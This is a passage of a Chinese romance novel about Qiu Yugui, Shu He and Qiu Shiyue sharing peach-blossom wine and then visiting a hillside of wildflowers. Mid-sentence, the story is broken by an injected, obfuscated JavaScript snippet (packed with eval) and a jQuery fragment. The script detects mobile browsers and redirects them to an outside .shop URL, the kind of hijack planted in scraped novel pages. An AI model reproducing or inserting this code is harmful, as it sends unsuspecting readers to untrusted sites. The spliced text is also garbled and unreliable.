束鹤将酒坛放在桌上，秋与归跟在他身后，手里还捧着三只粗陶酒杯。
“阿月，你能喝酒吗？伤还没好全……”她一边斟酒一边问。
“少喝些，无妨。”秋时月接过酒杯，指尖从秋与归手背上轻轻掠过，触感冰凉。
秋与归没有在意，在她对面坐下，端起自己的酒杯，凑到鼻尖嗅了嗅，“好香。”
“桃花酒，不烈。”束鹤将她举到唇边的酒杯轻轻按下，“先吃饭。”
秋与归乖乖放下杯子，夹了一筷子烧鸡，塞进嘴里，腮帮子鼓鼓的，含混不清地说：“你做的鸡，比上次好吃。”
束鹤看着她，目光柔和了一瞬，随即又恢复了那副清冷的模样。
秋时月坐在对面，将这一切看在眼里。她低头抿了一口酒，桃花酿的甜味在舌尖化开，她却觉得苦涩。
很久以前，也有一个人会这样看着她，会替她挡风，会在她睡着时轻轻拨开她额前的碎发。
秋时月放下酒杯，抬起头，脸上依旧是那副温婉的表情，“秋姑娘，你们成亲多久了？”
秋与归正在啃鸡腿，闻言差点噎住，猛地咳了两声，脸涨得通红。
束鹤将水囊递给她，她灌了一大口，才把喉咙里的那口肉咽下去，“我们不是……”
“还没有。”束鹤打断她，语气平淡。
秋与归偏过头看着他，他的侧脸在烛火中显得格外柔和，睫毛低垂，看不清情绪。
秋与归低下头，耳朵尖慢慢红起来，把脸埋进碗里，假装在专心吃饭。
秋时月笑了笑，“那便是快了。”
秋与归这一顿饭吃得心不在焉。
束鹤那句话像一粒石子投进了她心里，涟漪荡了一圈又一圈，怎么也平复不下去。
她用筷子戳着碗里的米饭，把一粒粒米从左边拨到右边，又从右边拨回左边。
“秋姑娘。”秋时月的声音从对面传来，“再戳下去，饭要被你戳成粥了。”
秋与归回过神，低头一看，碗里的米饭已经被她戳得乱七八糟，像被犁过的地。
她的脸一下子红了，把那碗饭往旁边一推，端起酒杯灌了一大口。
桃花酒甜丝丝的，不辣，但她喝得太急，呛了一下，咳得眼泪都出来了。
一只手伸过来，轻轻拍着她的背。她的背很薄，能清晰感觉到那只手掌心的温度，隔着衣料传过来，烫得她浑身僵住。
“慢点喝。”他的声音从身侧传来。
她“嗯”了一声，声音闷闷的，像从喉咙里挤出来的。
秋时月看着他们，笑了笑，端起酒杯，慢慢饮尽。桃花酒在杯中晃荡，映出她模糊的面容。
“秋姑娘，你们是怎么认识的？”她放下酒杯，语气随意得像是闲聊。
秋与归愣了愣，偏过头看了束鹤一眼，他面色平静，没有给她任何提示。
“他……”秋与归咬了咬嘴唇，“他受了伤，我照顾他，就这样认识了。”
秋时月点了点头，“你照顾人，非常细心。”
秋与归想起自己第一次煎药煮糊了三回，第一次换药把束鹤疼得皱眉，不由得心虚起来，“……大概是熟能生巧吧。”
秋时月没有再追问，只是低头给自己又斟了一杯酒。
窗外的天光渐渐暗下来，桌上的菜也吃得差不多了。
秋与归起身收拾碗筷，秋时月也要帮忙，被她按回椅子上，“你坐着，你是客人，哪有让客人洗碗的道理。”
秋时月没有坚持，坐在原处，看着秋与归挽起袖子，露出两截细细白白的小臂，端着碗碟走进灶房。
束鹤跟在她身后，手里端着剩下的几个盘子。灶房里亮起烛火，橘黄色的光从门口溢出来，在地面上画出一个歪歪扭扭的光斑。
秋时月看着那个光斑，听见灶房里传来秋与归的声音：“你别动，我来洗。你手上有伤，沾了水会疼。”
“早就好了。”束鹤的声音低一些，听不太真切。
“那也不行，我说不行就不行。”
然后是水声，碗碟碰撞的脆响，还有秋与归嘀嘀咕咕的抱怨：“你站在这儿干嘛？出去出去。”
“看你洗碗。”
“有什么好看的。”
“好看啊。”
灶房里安静了一瞬，然后是秋与归的声音，比方才小了八度：“你……你出去。”
秋时月站起身，走到灶房门口，靠在门框上，看着里面的两个人。
秋与归背对着门口，正低着头在水盆里洗碗，耳朵尖红红的。
束鹤站在她身后，靠着灶台，双手抱胸，目光落在她身上，嘴角带着一丝极淡的笑意。
烛火在他脸上跳动，将他眼底的温柔照得无处遁形。
秋时月看了一会儿，然后转身，走回桌边，坐下。
她给自己倒了一杯酒，一饮而尽。桃花酒不烈，但喝急了，还是会烧心。
入夜之后，秋与归躺在床上，翻来覆去，怎么都睡不着。
她翻了个身，把脸埋进枕头里。
“啊啊啊……”她闷闷地叫了一声，声音被枕头吸得干干净净。
隔壁传来一声轻响，像是椅子被挪动的声音。
秋与归猛地抬起头，竖起耳朵。又响了一下，像是有人站起来。
她轻手轻脚地下了床，赤着脚踩在冰凉的地板上，走到墙边，将耳朵贴在壁上。
那边没有声音了。
她等了一会儿，还是没有。
她正要退回床边，忽然听见一声极轻的叹息，隔着那堵薄墙，像一阵微弱的风。
是束鹤。
她站在墙边，很久没有动。窗外的月光从窗帘缝隙漏进来，照在她光裸的脚背上，凉丝丝的。
她回到床上，抱着被子，终于睡着了。
翌日清晨，秋与归是被一阵敲门声惊醒的。
她睁开眼，天已经大亮。阳光从窗棂缝隙里挤进来，在床前铺了一地碎金。
“与归，起床了。”束鹤的声音从门外传来，“今日带你去一个地方。”
秋与归猛地坐起来，头发乱糟糟的，眼睛还没完全睁开，“什么地方？”
“秘密。”
秋与归手忙脚乱地穿衣、洗漱，推开门时，束鹤和秋时月已经站在客栈门口了。
束鹤今天穿了一件浅青色的长袍，发丝用一根同色的发带束起，整个人清清爽爽的，像山间一株修竹。
秋与归看着他，脚步慢了下来。
“怎么了？”束鹤回过头。
“没什么。”她低下头，快步走过他身边，“走吧走吧。”
束鹤跟在她身后，嘴角微微扬起。
秋时月走在最后面，看着他们两个人的背影，晨光将他们的影子拉得很长，交叠在一起，分不清谁是谁的。
她低下头，看着自己空荡荡的影子。
“阿月，快
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876016|212383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
点！”秋与归在前面喊她。
她抬起头，笑了笑，加快脚步跟上去。
束鹤带她们去的地方，在城外的一片山坡上。
秋与归爬上山坡时，气喘吁吁地扶着膝盖，“什么时候到啊？”
“抬头。”
她应声抬起头，眼前是一片无边无际的野花。白的、黄的、紫的、粉的，星星点点，铺满了整个山坡，像一块被打翻的调色盘。
风从山脚下吹上来，花海便起了浪，一层一层地翻涌，直到天边。
秋与归张着嘴，说不出话。
她见过花，梦貘之乡有一种白色的菌类，形状像伞盖，在雾气中会发出微弱的荧光，但她从没见过这么多花，从没见过这么浓烈的颜色。
“好美。”她喃喃道。
束鹤站在她身侧，没有说话。
秋时月在后面找了一块石头坐下，看着他们两个站在山坡顶上，并肩而立。
“阿月，你怎么不来看？”秋与归回过头。
“我累了，歇一会儿。”秋时月笑了笑，“你们去看吧，我在这儿等你们。”
秋与归没有多想，转过身，跑进了花海里。裙角扫过花丛，惊起几只藏在花瓣下的蝴蝶。
束鹤跟在她身后，走得不快，目光一直落在她身上。
她蹲在花丛里，低头嗅一朵黄色的小花，花粉沾在她鼻尖上，她用手背擦了擦，反而蹭得更开。
她抬起头看他，鼻尖黄黄的，眼睛亮亮的，“这是什么花？”
“野菊。”
“这个呢？”她又指了指旁边那朵紫色的。
“牵牛。”
“这个？”
“蒲公英。”
秋与归伸手去拔那朵白色的绒球，指尖刚碰到，绒球便散了，无数白色的小伞飞起来，飘向她身后的天空。
她“啊”了一声，伸手去抓，抓住了一把空气。
“它飞走了。”她回过头，有点委屈。
“它本来就是会飞的。”束鹤蹲下身，从她手心里拈起一小片没有飞走的绒毛，轻轻一吹，那绒毛便飘飘悠悠地升起来，在她眼前转了两圈，乘着风，飞远了。
秋与归看着那片绒毛消失在天际，忽然笑了，“束鹤。”
“嗯。”
“谢谢你带我来凡界。”
“你已经说过很多次了。”
“我真的特别喜欢这里。”
束鹤看着她，阳光落在她脸上，将她的眉眼照得格外明亮。她的鼻尖还是黄黄的，头发上沾着花瓣，笑得像个孩子。
“我知道。”他说。
风从山脚下吹上来，花海翻涌，像一片流动的锦缎。他伸出手，替她摘掉发间那片花瓣。
她的目光落在他的手背上。
那双手，骨节分明，指腹有薄茧，是她熟悉的。她曾握过很多次，在碎石路上，在灶台边，在竹舍的门槛上。
“束鹤。”
“嗯。”
“你会一直……”她张着嘴，最后一个字悬在舌尖，却怎么也吐不出来。
风从山脚下吹上来，花海翻涌，那声音像叹息，又像催促。
束鹤看着她，没有追问，等着她自己决定要不要说下去。
秋与归把嘴边的话咽回去，低下头，揪了一朵野菊捏在指间，花瓣被她一片一片地扯下来，落在裙摆上，“……你会一直记得我吗？就算以后分开了，也不会忘记的那种记得。”